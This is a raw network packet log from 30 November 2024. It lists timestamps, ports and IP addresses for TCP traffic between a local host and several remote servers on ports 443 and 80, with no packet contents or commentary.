Nov 30, 2024 09:45:04.410821915 CET	49776	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.410849094 CET	49776	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.410849094 CET	49776	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.410861969 CET	443	49776	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.410871029 CET	443	49776	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.410892963 CET	49779	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.411020994 CET	49779	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.411035061 CET	443	49779	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.413108110 CET	49780	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.413141012 CET	443	49780	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.413219929 CET	49780	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.413372040 CET	49780	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.413387060 CET	443	49780	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.493427038 CET	443	49773	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.493483067 CET	443	49773	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.493597984 CET	49773	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.493669033 CET	49773	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.493678093 CET	443	49773	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.493685961 CET	49773	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.493691921 CET	443	49773	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.494987011 CET	443	49775	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.495052099 CET	443	49775	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.495143890 CET	49775	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.495277882 CET	49775	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.495280981 CET	443	49775	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.495352983 CET	49775	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.495356083 CET	443	49775	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.496084929 CET	49781	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.496113062 CET	443	49781	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.496217012 CET	49781	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.496577024 CET	49781	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.496587992 CET	443	49781	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.497232914 CET	49782	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.497246981 CET	443	49782	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.497304916 CET	49782	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.497431993 CET	49782	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.497445107 CET	443	49782	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.497720957 CET	443	49777	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.497772932 CET	443	49777	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.497865915 CET	49777	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.497900009 CET	49777	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.497909069 CET	443	49777	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.497917891 CET	49777	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.497922897 CET	443	49777	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.499973059 CET	49783	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.499983072 CET	443	49783	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.500071049 CET	49783	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.500343084 CET	49783	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:04.500354052 CET	443	49783	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:04.768692017 CET	80	49778	185.215.113.43	192.168.2.4
Nov 30, 2024 09:45:04.768774033 CET	49778	80	192.168.2.4	185.215.113.43
Nov 30, 2024 09:45:06.192778111 CET	443	49779	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.193341970 CET	49779	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.193366051 CET	443	49779	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.193809032 CET	49779	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.193814993 CET	443	49779	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.211957932 CET	443	49782	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.212260008 CET	49782	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.212275028 CET	443	49782	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.212632895 CET	49782	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.212636948 CET	443	49782	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.214946032 CET	443	49783	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.215202093 CET	49783	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.215223074 CET	443	49783	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.215565920 CET	49783	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.215569973 CET	443	49783	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.257127047 CET	443	49780	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.257576942 CET	49780	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.257590055 CET	443	49780	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.257961988 CET	49780	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.257966995 CET	443	49780	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.275870085 CET	443	49781	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.276458025 CET	49781	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.276469946 CET	443	49781	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.276822090 CET	49781	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.276825905 CET	443	49781	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.281533003 CET	49778	80	192.168.2.4	185.215.113.43
Nov 30, 2024 09:45:06.281824112 CET	49784	80	192.168.2.4	185.215.113.43
Nov 30, 2024 09:45:06.402060986 CET	80	49784	185.215.113.43	192.168.2.4
Nov 30, 2024 09:45:06.402070999 CET	80	49778	185.215.113.43	192.168.2.4
Nov 30, 2024 09:45:06.402194977 CET	49778	80	192.168.2.4	185.215.113.43
Nov 30, 2024 09:45:06.402220011 CET	49784	80	192.168.2.4	185.215.113.43
Nov 30, 2024 09:45:06.402477026 CET	49784	80	192.168.2.4	185.215.113.43
Nov 30, 2024 09:45:06.522334099 CET	80	49784	185.215.113.43	192.168.2.4
Nov 30, 2024 09:45:06.637191057 CET	443	49779	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.637269020 CET	443	49779	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.637336969 CET	49779	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.637505054 CET	49779	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.637516975 CET	443	49779	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.637531996 CET	49779	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.637537003 CET	443	49779	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.640130997 CET	49785	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.640175104 CET	443	49785	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.640291929 CET	49785	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.640400887 CET	49724	80	192.168.2.4	199.232.210.172
Nov 30, 2024 09:45:06.640477896 CET	49785	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.640490055 CET	443	49785	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.646940947 CET	443	49782	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.646986008 CET	443	49782	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.647119999 CET	49782	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.647279024 CET	49782	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.647286892 CET	443	49782	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.647296906 CET	49782	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.647300959 CET	443	49782	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.649334908 CET	49786	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.649349928 CET	443	49786	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.649472952 CET	49786	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.649543047 CET	49786	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.649554968 CET	443	49786	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.649745941 CET	443	49783	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.649800062 CET	443	49783	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.649847031 CET	49783	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.649950981 CET	49783	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.649970055 CET	443	49783	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.649980068 CET	49783	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.649985075 CET	443	49783	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.652215958 CET	49787	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.652232885 CET	443	49787	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.652301073 CET	49787	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.652407885 CET	49787	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.652417898 CET	443	49787	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.710892916 CET	443	49780	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.710951090 CET	443	49780	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.711009026 CET	49780	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.711131096 CET	49780	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.711138964 CET	443	49780	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.711163998 CET	49780	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.711168051 CET	443	49780	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.713275909 CET	49788	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.713287115 CET	443	49788	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.713361979 CET	49788	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.713485956 CET	49788	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.713499069 CET	443	49788	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.719945908 CET	443	49781	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.720010042 CET	443	49781	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.720062971 CET	49781	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.720124960 CET	49781	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.720134020 CET	443	49781	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.720141888 CET	49781	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.720145941 CET	443	49781	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.722278118 CET	49789	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.722310066 CET	443	49789	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.722379923 CET	49789	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.722497940 CET	49789	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:06.722508907 CET	443	49789	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:06.763977051 CET	80	49724	199.232.210.172	192.168.2.4
Nov 30, 2024 09:45:06.764035940 CET	49724	80	192.168.2.4	199.232.210.172
Nov 30, 2024 09:45:07.812529087 CET	80	49784	185.215.113.43	192.168.2.4
Nov 30, 2024 09:45:07.812643051 CET	49784	80	192.168.2.4	185.215.113.43
Nov 30, 2024 09:45:07.816359043 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:07.936408997 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:07.936512947 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:07.936687946 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:08.056543112 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:08.363606930 CET	443	49786	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.364087105 CET	49786	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.364094973 CET	443	49786	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.364543915 CET	49786	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.364547968 CET	443	49786	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.420808077 CET	443	49785	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.421287060 CET	49785	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.421303034 CET	443	49785	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.421828032 CET	49785	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.421833038 CET	443	49785	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.498020887 CET	443	49787	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.498613119 CET	49787	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.498629093 CET	443	49787	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.499620914 CET	49787	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.499629974 CET	443	49787	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.512691975 CET	443	49789	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.513150930 CET	49789	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.513168097 CET	443	49789	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.513587952 CET	49789	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.513592958 CET	443	49789	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.557924986 CET	443	49788	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.558356047 CET	49788	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.558370113 CET	443	49788	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.558777094 CET	49788	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.558780909 CET	443	49788	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.797986031 CET	443	49786	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.798038006 CET	443	49786	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.798098087 CET	49786	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.798285961 CET	49786	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.798295975 CET	443	49786	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.798309088 CET	49786	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.798316002 CET	443	49786	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.800785065 CET	49791	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.800838947 CET	443	49791	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.800921917 CET	49791	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.801034927 CET	49791	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.801053047 CET	443	49791	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.864891052 CET	443	49785	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.864953995 CET	443	49785	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.864998102 CET	49785	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.865227938 CET	49785	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.865246058 CET	443	49785	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.865257978 CET	49785	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.865263939 CET	443	49785	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.867779970 CET	49792	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.867795944 CET	443	49792	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.867872953 CET	49792	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.867990971 CET	49792	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.868004084 CET	443	49792	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.951431990 CET	443	49787	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.951494932 CET	443	49787	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.951545000 CET	49787	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.951745987 CET	49787	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.951754093 CET	443	49787	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.951762915 CET	49787	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.951766968 CET	443	49787	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.954355001 CET	49793	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.954375982 CET	443	49793	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.954444885 CET	49793	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.954571009 CET	49793	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.954581022 CET	443	49793	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.961507082 CET	443	49789	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.961554050 CET	443	49789	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.961607933 CET	49789	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.961833954 CET	49789	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.961834908 CET	49789	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.961849928 CET	443	49789	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.961857080 CET	443	49789	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.963833094 CET	49794	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.963841915 CET	443	49794	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:08.963918924 CET	49794	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.964054108 CET	49794	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:08.964065075 CET	443	49794	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:09.013129950 CET	443	49788	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:09.013176918 CET	443	49788	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:09.013227940 CET	49788	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:09.013377905 CET	49788	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:09.013386011 CET	443	49788	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:09.013415098 CET	49788	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:09.013418913 CET	443	49788	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:09.015563011 CET	49795	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:09.015583992 CET	443	49795	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:09.015650988 CET	49795	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:09.015786886 CET	49795	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:45:09.015796900 CET	443	49795	13.107.246.63	192.168.2.4
Nov 30, 2024 09:45:09.334391117 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.334403992 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.334475994 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.334564924 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.334604025 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.335011005 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.335025072 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.335068941 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.335926056 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.335937977 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.335987091 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.336994886 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.337007046 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.337043047 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.337908983 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.337953091 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.454741001 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.454828024 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.454866886 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.454910994 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.458847046 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.458906889 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.535206079 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.535275936 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.535396099 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.535443068 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.537668943 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.537723064 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.537889004 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.537930012 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.546103954 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.546164036 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.546312094 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.546354055 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.552568913 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.552650928 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.552788019 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.552829027 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.560971022 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.561028957 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.561206102 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.561252117 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.569439888 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.569502115 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.569628000 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.569669008 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.577816963 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.577872992 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.578042030 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.578083038 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.586277008 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.586333036 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.586491108 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.586534977 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.594655037 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.594702005 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.594877005 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.594921112 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.603032112 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.603092909 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.603265047 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.603307962 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.610960960 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.611020088 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.611432076 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.611474037 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.618870020 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.618928909 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.655231953 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.655303001 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.655473948 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.655527115 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.736555099 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.736623049 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.736823082 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.736866951 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.739013910 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.739058971 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.739223957 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.739264011 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.743904114 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.743963003 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.744143963 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.744190931 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.748709917 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.748759031 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.748960018 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.749001980 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.753547907 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.753593922 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.753825903 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.753875017 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.758404970 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.758447886 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.758630037 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.758676052 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.763289928 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.763343096 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.763513088 CET	80	49790	31.41.244.11	192.168.2.4
Nov 30, 2024 09:45:09.763565063 CET	49790	80	192.168.2.4	31.41.244.11
Nov 30, 2024 09:45:09.768102884 CET	80	49790	31.41.244.11	192.168.2.4
